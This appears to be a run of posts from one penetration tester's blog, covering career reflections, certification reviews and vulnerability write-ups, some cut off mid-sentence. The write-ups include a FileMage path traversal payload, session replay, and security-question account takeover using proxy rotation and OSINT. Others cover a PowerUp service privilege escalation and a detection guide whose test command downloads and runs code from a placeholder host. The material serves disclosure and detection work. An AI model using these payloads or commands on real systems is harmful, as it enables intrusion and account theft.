Welcome to 2025 which marks a little over five years of my professional career in cyber security. I was inspired one day during a shower thought to reflect over the last five years of experience as I’ve moved my jobs a bit in the early part of my career. Ever wonder what you would prefer; consulting or internal for offensive cyber work? I plan on discussing these two and my anecdotal experiences in both.

Disclaimer: I’ll talk about the two in my anecdotal experiences, this is meant to be particular to my roles and experiences and not fully representative of what is best for you or the group.

Consulting

I put consulting first as it’s what I am more confident in as I spent ~4 years doing it. Doing offensive cyber work in the consulting world can range from kicked back, feet up, vulnerability scans all the way to continuous complex red team engagements. Consulting can be very dependent on the client and type of work that was sold.

Doing Penetration Testing consulting you will get to see so many different infrastructures and networks. Sure you will see the common managed M365 on external and LLMNR traffic on internals but each network i’m confident you will come across a new service or technology you haven’t seen before. This keeps you on your toes and often a cool peak that comes with it. This will always keep you wet behind the ears and give plenty of opportunity to help share this with our other practitioners in the industry. A good example of this is a cisco phone service I ran across that got me initial credentials during an internal - https://trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems

Another great perk of this is the offering tha your consulting will offer. For example when I was working at Deloitte, we only offered X amount of work and often it was more monotonous web work. When I moved to Optiv, the offerings really got fun to do. A client would want a wireless, external, and targeted internal where we could share the findings between all to enhance the attack scenario. A good example is I did an on-site wireless and internal in the DMV area which was almost a sudo on-site insider threat. I was able to breach the internal network using a wifi vulnerability and escalate my basic user permissions into local host admin rights on most of their machines before being interrogated by the IT folks in the room next to me. Fun stuff and this leads to a bigger point. Consulting is FUN and keeps you young, domain admins rush on internal networks of F500 companies has and always will keep you addicted to this niche field.

Another impact point here is what the client is and what type of work was sold to them. In my experience, one of the biggest problems I saw was lack of communication and expectation between sales teams and the folks doing the work (like myself). A lot of time there was an expectation gap between what they are getting VS what we could do with the Statement of Work (SoW).

The last big con for me was reporting. Writing a report for clients was always a PITA and I didn’t have ChatGPT like the young bucks now working there. Writing summaries and root cause analysis graphs were some of my deathly tasks I did. While not many people like doing it, it’s one of the most important parts and the skills that have more gaps than the technical chops. A great old director of mine, Ryan D, always said “Clients are giving us 5-30k for a few PDFs, make them good” which is very true. All of the fancy technical things we do have to be clear and transparent to the client.

Pros

• Lots of clients and different networks
• Opportunity for Travel
• Types of Offerings
• Opportunity to share work outside of company with the industry

Cons

• Report Writing
• Consulting life - Client is always right and changes their mind a lot
• Utilization requirements and relying on sales/gigs

Internal

As I am writing this I am 1 year and five months into my tenure at Amazon Web Services as an Offensive Security Engineer. I moved out of consulting for a few different things but the three things I love the most is the room for impact. When I do engagements now, I can identify findings and recommendations that affect more than the service I am touching. It’s really scalable that you find an issue with a AWS service and can root cause and address it in many more places, it’s very rewarding.

I also love the part of less report writing. Don’t get me wrong, Amazon is heavy on document driven business but I don’t find myself writing executive summaries unless asked for leadership emails. Writing is a key skill at Amazon, they pride themselves in it, there is classes, quarterly meetings about it. Just have to do less BS writing.

Lastly, the room to grow my engineering skills. Penetration Testing in the consulting life is a lot of keyboard jockey work. Using tools and techniques from existing researchers and doing it in client networks. Internally, I can identify a use for a tool or code that might help others and take time to develope that and share with engineers within our sister teams. This is cool, I’m working on a super cool Burp Suite Extension at the time of this writing but won’t be able to share. That’s a con that comes with internal, sharing tools or TTPs during work isn’t encouraged like it is at consulting firms.

A con would be the bureaucracy of working at a F100 company. Role guidelines, slower management guck, politics, promotion timelines, etc. All of these Amazon prides themselves in being agile but it still exists like every F100 company I assume.

A con is not having the dopamine rush I had in consulting. I can count on two hands the amount of remote code execution (RCE) I’ve gotten at AWS as the security bar is normally much higher than a random companies external perimeter with 100s of hosts running multiple software. When I do find these they are much more rewarding as they are far scarce but I really do miss the Domain Admin Rush on day 1 of a test.

Pros

• Time for development/trainings
• Impact/Scale

Cons

• More bureaucracy
• Less fun / dopamine work

Overview

You’ll notice how I didn’t mention job security in either one; that is because it’s very dependent. For example, a consultant could be fired due to low utilization but they don’t have control on what the sales team is able to sell. An internal employee like myself at AWS, AMZN stock price could go down 20 percent and the executive team could decide to do layoffs. In the great words of Pat McAfee, situations are very situational; I won’t give one a higher rating than the other.

I hope some of these insights guide you in the right direction or just share some of my experiences with you. Reach out to me if you ever need any advice on what is right for you; I love giving my solicited advice lol.

SANS 660 is a very wide course that provides detailed information and labs about kind of the next “entry” level of pentesting. The course assumes you know things that any penetration tester or someone who has passed something like OSCP to get started. Familar with how to use windows/linux CLIs, shells, post exploitation and sich.

This course comes with a GIAC certification - “The GIAC Exploit Researcher and Advanced Penetration Tester (GXPN) certification validates a practitioner’s ability to find and mitigate significant security flaws in systems and networks. GXPN certification holders have the skills to conduct advanced penetration tests and model the behavior of attackers to improve system security, and the knowledge to demonstrate the business risk associated with these behaviors.”

I was lucky enough to have the opportunity to have my employer pay for the training and the certification. Thanks to AWS and their Strive to be the Earth’s Best Employer. This is my second course from SANS but ironically it’s been about five years since I took the last one which was SANS 503. You can find that review here ***

My Experience

My course was the on-demand verison that came with the on-demand courses recorded, books shipped to you with the lectures, workbooks, and a smaller reference guide. I was disappointed that the hard material didn’t contain a few small

Studying

I have about 5ish years of penetration testing experience on a whole stack of technology. I’ve done networks, binary, web, api, IoT, and SE testing. I’ve always lacked a foundation in crypto which was a topic that was covered in the course. I recieved the books and go started instantly. I have some “dev time” at work which allows the engineers to work on projects, ideas, trainings, and automation. This seemed like a great week that take advantage of to sprint through the course. I spent most of my time listening to the videos, following along with my highlighter and index paper, highlighting things that seemed to be important.

I got throught the course in four days from working from home. I skipped some of the longer videos from labs as I was working on them at a later date and wanted to get through the material.

Labs

I didn’t do too many labs, I did some of the setup and I will get into the rant of this later.

Practice Tests

I took two practice tests and they were helpful. The first one, I just sprinted through without notes, no indexing or looking through notes. I scored a 63% which is failing in this case. This was ok to me since I didn’t use any notes and just top of mind material. The Second test I scored in the 70s with using “some” material.

Test

I took my test at 5:20PM EST using the proctorU software. I’m going to list my rant below but the software was a PITA. Being more specific to the test, I had 60 questions and 3 hours to pass. There were 6 Lab, hands on questions that ranged from similar practice question tests. I thought that some of the questions were ambigious by design. I can’t reveal any actual thoughts on this since it would disclose exam questions but some of them were kind of opinion on what would be best in a situation. I completed the test in about 2 hours and 20 minutes. I passed the exam obtaining the GXPN certification with an 88%

Rant Time

I have two significant points in which why I wouldn’t reccomend this course/cert. I’ll get started with the one that I think SANS is responsible for and secondly something they might have less control over.

1. Lack of M1 (ARM chip) support in the labs. When I first heard of this, it was back in 2021 when I took SANS 503. This was the first year Apple was coming out with the chips and I was an owner of a Macbook Air with the M1 at the time. I cut them a break as the migration from intel based labs to ARM is quite a difficult task.

FOUR years later and Apple still improving to make the M series chip with other moving towards ARM such Snapdragon on Windows, SANS has visibly made no progress to the development or support of the labs on these systems. I’m not sure what they are waiting on or have blockers that aren’t apperant to me but it’s quite ridiculious that the labs aren’t compatiable with ARM based chips. SANS offered high quality, very expensive trainings that are 7-10k for a course. Get a move on it.

Here is the snippet from the Sec 660 course, I spot checked a few others and they seem to be the same.

CRITICAL: Apple systems using the M1/M2 processor line cannot perform the necessary virtualization functionality and therefore cannot in any way be used for this course.

1. ProctorU based software was an unpleasant experience. I knew from my previous SANS 503 course I’d have to work with this PITA again. While installing my spyware that they offer, I was assigned a proctor, let them share screen and things of that nature. I knew that was coming, however, I didn’t know I’d need not only my drivers lisence but the proctor also asked for my passport. I just feel as if a cyber security course online needs my DL and passport is a bit invasive.. I know cheating must be an issue if that is the case but to what extent are we going to draw the line. Secondly, the proctor did all of the spyware install but then asked to take control of my mouse and PC. The proctor disabled keyboard screenshot shortcuts in my accessibility settings (I thought this was overkill but next time maybe let me do it?). The proctor failed to re-enable these or instruct to do so after the exam leaving these features disabled. The software also didn’t reccomend disabling the permissions given or removing the ProctorU spyware.

I find it ironic that a course in the cyber field would be so intrusive and uncalibrated.

Would I Recommend?

Maybe

I liked the course to an extent, the material was helpful and good but just very broad. These fields are so complex that teaching crypto, network, and post explotation could be it’s own course. The Linux and Windows Exploit dev could be seperated into its own course as well.

Disclaimer : I would NOT reccomened any SANS course unless an employeer is paying for it. 8K can be spent on so many udemy, books, or alternative course.

1. CRTO - Certified Red Team Operator - Crushed this one! I was able to get the course through my employer (Optiv) and we had a large group take the course. It was overall a sweet course, maybe I’ll write a blog post about the course but there is a ton of those already out there. As far as the exam, it was submitting points to a dashboard so no report PDF (Thank goodness) but with that being said, I don’t remember much on what was on the exam. The exam was challenging but all required materails were in the course, just make sure you cover all things like Cobalt Strike profiles etc…. Goal achieved!

2. API/Web Apps - This one was a good one, I found a ton of API vulns this year and ended up giving a talk at work about it during the Source Zero Con. It had a good turnout and I ended up heading to Blackhat to give the talk at our company’s booth. It was a fun trip and my first time actually out to Vegas during the BH/Defcon timeframe. I also recently took a seperate job at AWS that deals mostly with API’s, even ones without front ends so that field to me has done nothing but blow up. I can confidently say I achieved this goal!

3. OSWE - I never was able to complete this in 2023. Between switching jobs, I had quite some stuff that kept me busy. I won’t be dropping this one, just listing it on my 2024 list. Not afraid to say I failed the timeframe but won’t fail on the exam hopefully.

So all in, I was 2/3.. Not bad but 66% would be a D in a college class so I guess it’s all relative. Looking forward to 2024 and all of the things that come. I wish you all the best of luck and wellness in the new year.

Hello all! Just grabbed my first beer and going to crank this blog out tonight on a fall night session. I found another one :)

While reviewing an applicaiton in my freetime, I identified a security vulnerability in FileMage Gateway. FileMage does not properly handle the session cookie in the application therefore leaving it vulnerable to replaying/hijacking attacks. This vulnerability is present and identified on all version on the Marketplace product (Azure, AWS, Google Cloud, and IBM).

What is Filemage

FileMage Gateway is an FTP/SFTP server backed by a cloud object storage API. Deployable from your cloud provider marketplace and billed hourly.

Technical Details

With an administrative account we were able to view the current list of administrators and add a new admin using GET/POST requests as demonstrated below:

GET /Administrator

POST /administrators - adding a new user called “loggedin@test.com”

The vulnerability is identified when a user logs out, it does not invalidate the session cookie.

Now when using the same session cookie, we are still able to view and add additional administrator users as seen below: Adding an additional user called with expired session cookie “loggedout@test.com”

GET /administrators with expired session cookie

##### Okay, let’s test some other “Session” related stuff

With an administrative account we are able to view the current list of administrators and add a new admin using GET/POST requests demonstrated below: POST /administrators - adding a new user called “prechange@test.com”

GET /administrators

The user is able to change their existing password and still use the old session cookie to perform admin functionality. POST to /profile updating the password of the currently logged in account

We are still able to add and view old accounts simulating admin functionality. POST /administrators - adding a new user called “POSTCHANGE@test.com”

GET /administrators

Impact

Filemage contains two vulnerabilities that could allow an attacker to maintain unauthorized access over a hijacked session aer the legitimate user has signed out or changed the password of their account.

Reccomendation - Stateless Cookies?

Hello all! Long time no see, I recently identified a vulnerability on FileMage Gateway that I applied for my first CVE.

On a recent security assesment, I identified a security vulnerability in FileMage Gateway. It is possible to send an unauthenticated HTTP(s) GET request to retrieve arbitrary files on the host system. This vulnerability is present and identified on the Azure Marketplace product.

What is Filemage

FileMage Gateway is an FTP/SFTP server backed by a cloud object storage API. Deployable from your cloud provider marketplace and billed hourly.

Technical Details

This section outlines the steps to replicate the exploitation of the identified vulnerability. I deployed an Azure Virtual Machine from the marketplace for the technical analysis. Additional reference material may be requested if needed.

By navigating to the homepage on FileMage Gateway, a path traversal vulnerability is present under the /mgmnt/ directory on the Azure Marketplace Deployment. An unauthenticated HTTPS GET request can be sent using dot-dot slash sequences using URL encoding as observed below.

URI: /mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5 cwindows%5cwin.ini

Deploying a test instance from the Azure Marketplace, process monitoring was leveraged to understand where the sensitive and configuration files are stored in FileMage.

It’s possible for an unauthenticated user to extract sensitive data such as FileMage and PostgresSQL configuration files, SSH keys, and other sensitive files as illustrated in the screenshots below.

This vulnerability was tested on non-azure deployments of FileMage but were found not to be vulnerable to the path traversal. I disclosed this vulnerability with the help of a great friend “Tylous”, thanks! This has since been patched.

Recommendation

User-controllable data should be strictly validated before being passed to any filesystem operations. In particular, input containing dot-dot sequences should be blocked. This was disclosed to the vendor

Patched

https://www.filemage.io/docs/updates.html - This was updated in 1.10.9 version of FileMage

CVE!

This vulnerability was assigned CVE-2023-39026. This vulnerability got a 7.5 CVSS3.0 score rating it as a high severity vulnerability. Pretty excited for this one being the first. I submitted the Nuclei and exploitDB script for assesment.

1. CRTO - Certified Red Team Operator - Got the course through work, about half way done between flights and airport sitting. Hoping to get throughout a few more weeks of a fast Q1 and get a week or so downtime to lock in some material. I’d recommend the course so far, it’s given me some pretty good info about CS and Red teaming. Although it’s a Red Team course, I don’t think it prepares you for red team engagments. I’ve seen the skill caliber of the people who do RT at my companies and it’s a larger gap.

2. API/Web Apps - Since December of 2022, I’ve been on web app gigs quite frequently and been rather successful. I volunteered at work to give a talk about some of the API attack vectors and being on more of a net pen team at work, we sometimes overthink some of the easy wins on the web perspective. Giving a 45ish min talk at my work conference this year (will post the vid when done ~julyish). Excited to do so, LFG.

3. OSWE - This is an ambitious one…. I want to take and pass the OSWE course from Offsec. I’m going to pay out of pocket and try to at least get the ball rolling on this. In my older gigs (SOC, threat detection, Vuln, etc) it was easy taking pentest certs because I’m moving towards the goal and not doing it 8-10 hrs a day. Now that I’m in a faster pace consultant pentest gig, it’s quite hard to get the motivation to study after doing it 8-10 hrs a day in general.

Let’s come back to this later in the year and see what we accomplished and what wasn’t… Either way, cheers to the new year and best of luck to you all. Thanks for reading!

By the name of this blog post, you can probably guess what I’m going to rant about this time. That’s right, those damn security recovery questions you can’t ever remember.

In a few recent penetration tests i’ve been on, I’ve seen an increase in self service portals (ManageEngine in particular) and for me, i’m always drooling over these. In particular, the account perspective, there is always a way to identify valid user enumeration. I want to share some light on how easy some of these are and make some recommendations to help secure these more as I seem them poorly implemented.

Proof Of Concept

I labeled this a “TechnicalBlog” so I’ve got to show SOMETHING. I’m going to redact a ton of stuff from the following but hopefully you will be able to understand.

Step 1 : Identify Valid Usernames

I normally use statistically-likely-usernames as it’s a list of the most common names in the US in your chosen masked format. I normally use some form of error verbose response or traffic direction to identify valid accounts. For Example, the reset password functionality on this site was the culprit for account enumeration. Valid accounts were 302 redirected to 2FA whereas invalid accounts were 302 to authFailed.

Invalid Account

Valid Account

Once I ran 50k usernames through here, I was able to identify a few hundred. I do want to mention that this functionality had some mitigations and would lock my IP out after 25ish requests but that is an easy win and I just proxied my traffic through some proxies rotating my src IP every request.

So from here, you’ll have to manually vet some of the questions or recovery methods, I’ve seen phone 2FA, Google auth, and email confirmations that suffice my attack path but I found that in lots of pentests, it will be a mix of all of them. Once I identify questions that are weak, I begin my OSINT search. To save my methodology, typing words, and you having to read a bunch of nonsense, I was able to identify a users that had the following three questions:

• What is your Mothers Maiden name?
• What is you Date of Birth?
• What is your Favorite Color?

From here, I just did my OSINT stuff on particular users finding the more internet open users, I found a user that their facebook was public alongside their family connections. I’m really going to redact this as I want to protect the user.

Users Facebook Relationship Page

BOOM! That’s 1/3… Next is Date of Birth (DOB), using public voter records, I found the DOB! I was also able to find this on their wedding info and cellular information.

BOOM! That’s 2/3… Well I wish I could say I found their favorite color but ROYGBIV baby! The account questions didn’t lockout or rotate so I brute forced the color on my second guess.

I was able to reset this users password and breach the perimeter this way.

Recommendations

This is something the industry is moving away from but it’s still frequent. Using some of the following will prevent a lot of these attack paths:

• Don’t use trivial or guessable questions. Favorite color (unless it’s something crazy) has ROYGBIV which is a whopping seven potential answers. DOB and mother’s maiden name is weak in todays internet surface. Questions are being outdated but questions like favorite childhood friend, favorite teacher name, etc are a lot stronger and less guessable.
• Rotate the questions. Have users give five and only leverage three to reset the password with rotating them every failure. Lock the account after 3 attempts so some can’t brute force answers.
• Move away from questions to 2FA or Token based. This is the most secure way for end users.

That being said, I recently “sprinted” this course and wanted to give a few of my thoughts, so cheers!

Reason

As some may know, I’ve been working on OSEP lately with the learn one subscription so this course and exam came free to me (Thanks to my lovely employer). I was a bit down with some imposter syndome so I figured I’d get some confidence by taking this course and “sprinting” it.

I normally don’t post about personal stuff but taking this course was nostalgic. I’ve always waned to be a ‘hacker’ so when I was in middle school, my brother and I would always tinker on school machines (install halo, ping networks, play with netcat, write basic) and we came across offsec training! Holy shoot, OSCP, OSWE, OSCE were all that I could remeber. My brother and I came to an agreement to make it in life! We were going cut grass, rake leaves, and plow snow and it was going to get me the wiFU (OSWP) course and he was going to pursue the OSCE (that’s right, skip right past the OSCP). Together, we could not be stopped, wifi hacker + exploit hacker == hackerman.

** rant over ** We obviosuly never did either or, although we both studied some form of CS and work in IT now. Nostaligc none the less…

Course

I started grooming throught the material on a plane and it was equally as boring as the plane’s TV selection at first. The first, idk 4-5 modules, are standards, basics, and pretty complex low level network stuff. They are fundamental but I felt as if I knew some of the stuff and didn’t care about some as it seemed irreleavant to my usage (key there :P ). When I did get into the hands on stuff, it was a blast. I purchased this wireless card on amazon (next day shipping) to fool with networks of my own (and perhaps my neighboors, jk :P ).

Each lab covered a specific type of software/network and attack vectors. IMO, Wireless networks are a smaller attack vector than we’d think and often get overlooked in today’s stack of technology. I used an Alfa wireless network card for my home labs, sick looking! Let me tell you, this thing does NOT play well with linux and even more so if it’s a VM. I had to look into some kernel/driver stuff and if you know me, I don’t play well with hardware and kernel stuff.

I used my access point (AP) for a development network and reset it and threw it on a different subnet to play around with capturing handshakes and cracking passwords.

I flew through the material in about three nights (4-5 hrs of study each). I set things up for my exam

Exam

The exam is pretty normal for an offsec exam, except the timeline. This exam was 3h 45m compared to the 24/48/72 hr exams we are all used to from them. It was the same in the sense it was all hands on keyboard practical exam. As you know, I can’t disclose anything related to the exam but if you learned the material in the course, I am confident you can pass! I had some tech difficulites with the wireless card stuff on my end for the first 45 minutes but eventually got things figured out. My exam started 20:00 EST aka 8PM EST for you noobs, I had all of the requirments by about 22:00 EST…. It was a fun exam and I wish I could say more but the exam guidelines and what it contains will be transparent when they send you the exam details before yours!

My thoughts

Right to the point, I woulnd’t buy it. If you have learn one, it’s an add on. NOT worth buying the 2k sub for this course tho. Hopefully I can work on some on site pentests/engagments to test out some of this wireless tests.

I won’t show how I identified this as I don’t have the screenshot and would like to focus on the exploit.

SNMPTRAP Service

The follow screenshot demonstrates the service. You may note, it is disabled by default, and is running as a default configuration account when creating a service. There are MULTIPLE ways to exploit something like this, especially when you have the permissions to modify all configurations of the service.

First thing I noticed is the service is disabled.. This cannot be started/stopped without being enabled first so we launch services (Win+R and type services.msc)

Identify the snmptrap service and open the properites.

Enable the service (you can also do this from cmdline but this service.msc is good to know as it can be helpful during pentests)

As identified in the first image, the service is using localService, this won’t cut it (found this out by trial and error), we need to set this to the local system account in order to abuse this to the level in which we want to.

Powerup.ps1 has a function module that can exploit the binPath to create a user and add a local administrator user (Not domain joined) which was exactly what I needed at the time.

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

Import the module - Import-Module PowerUp.ps1

The exploit worked, running a few net user commands on the local machine (not domain) shows that the john user was added succesfully.

This is a trivial Priv Esc that might come in handy to me, you, or anyone in the world that finds a similar vuln

References:

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/sc-config

https://docs.microsoft.com/en-us/windows/win32/services/localservice-account

Goal

Detect when Scheduled Tasks are created or modified to run at System Level Privileges. This may be indicative of an attempt for an attacker or malware to establish persistesence on a Windows machine.

Categorization

These attemps are categorized as Execution / Scheduled Task/Job

Strategy Abstract

The strategy will function as follows:

• Monitor window event codes on Windows Systems.
• Define the command line arguments that need to be detected on.
• Supress any known & non-malicious tasks (depending on client size, this approach can differ)
• Alert on any tasks that are created or modified at System Level Privileges.

Technical Context

A Scheduled task is a command, program, or script to be executed at a particular time in the future on Windows machines. This can vary based on the conditions provided to execute when a user logs on or a regular interval. System Admin use these to create and run operational tasks much like cronjobs on Linux machines.

With that being said, these can be morphed to be used in a malicious manner. Advesaries use these already existing functionality on Windows systems to establish persistence whether that would be on start up or a Command and Control Server.

When configuring the scheduled tasks, the following event IDs are of interest for this ADS:

For this ADS, the event IDs that will be focused on will be 4698, 4700, and 4702. Sysmon also provides some event codes such as Event Code 1 that schtask.exe executes.

For this detection we will look for scheduled tasks created with System level privileges

Blind Spots and Assumtions

This strategy relies on the following assumptions:

• The Machine is proper logging the proper Windows Event Log and sending to WEF Servers.
• WEF servers are correctly forwarding events to the SIEM.
• SIEM is successfully indexing group change events.

A blind spot will occur if any of the assumptions are violated. For instance, the following would not trip the alert:

• Windows event logging breaks.
• The SIEM UC job is running at all time.

False Positives

With this being a built in functionality, the usage on this can vary depending on the size of the enviroment. There are serveral instances where false positives for this ADS could occur:

• Legitimate tasks created by System Administrators.
• Drivers and OS support creation of scheduled tasks such as power savers on laptops.

Priority

The priority is set to medium under all conditions.

Validation

schtasks /create /tn test /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://x.x.x.x:8080/x'''))'" /sc onlogon /ru System
schtasks /create /tn "mysc" /tr C:\windows\system32\cmd.exe /sc ONLOGON /ru "System"

Response

In the event that this alert fires, the following response procedures are recommended:

• Triage of the host system and if the activity is normal.
  • Note the account that created it, suspicious arguments, or abnormal timeframe.
• Identify what the schedule task is performing
  • ex: Execution of binary, in memory powershell execution, connection to web server
• Use endpoint EDR or tool to invesitage or isolate the host.

Additional Resources

https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md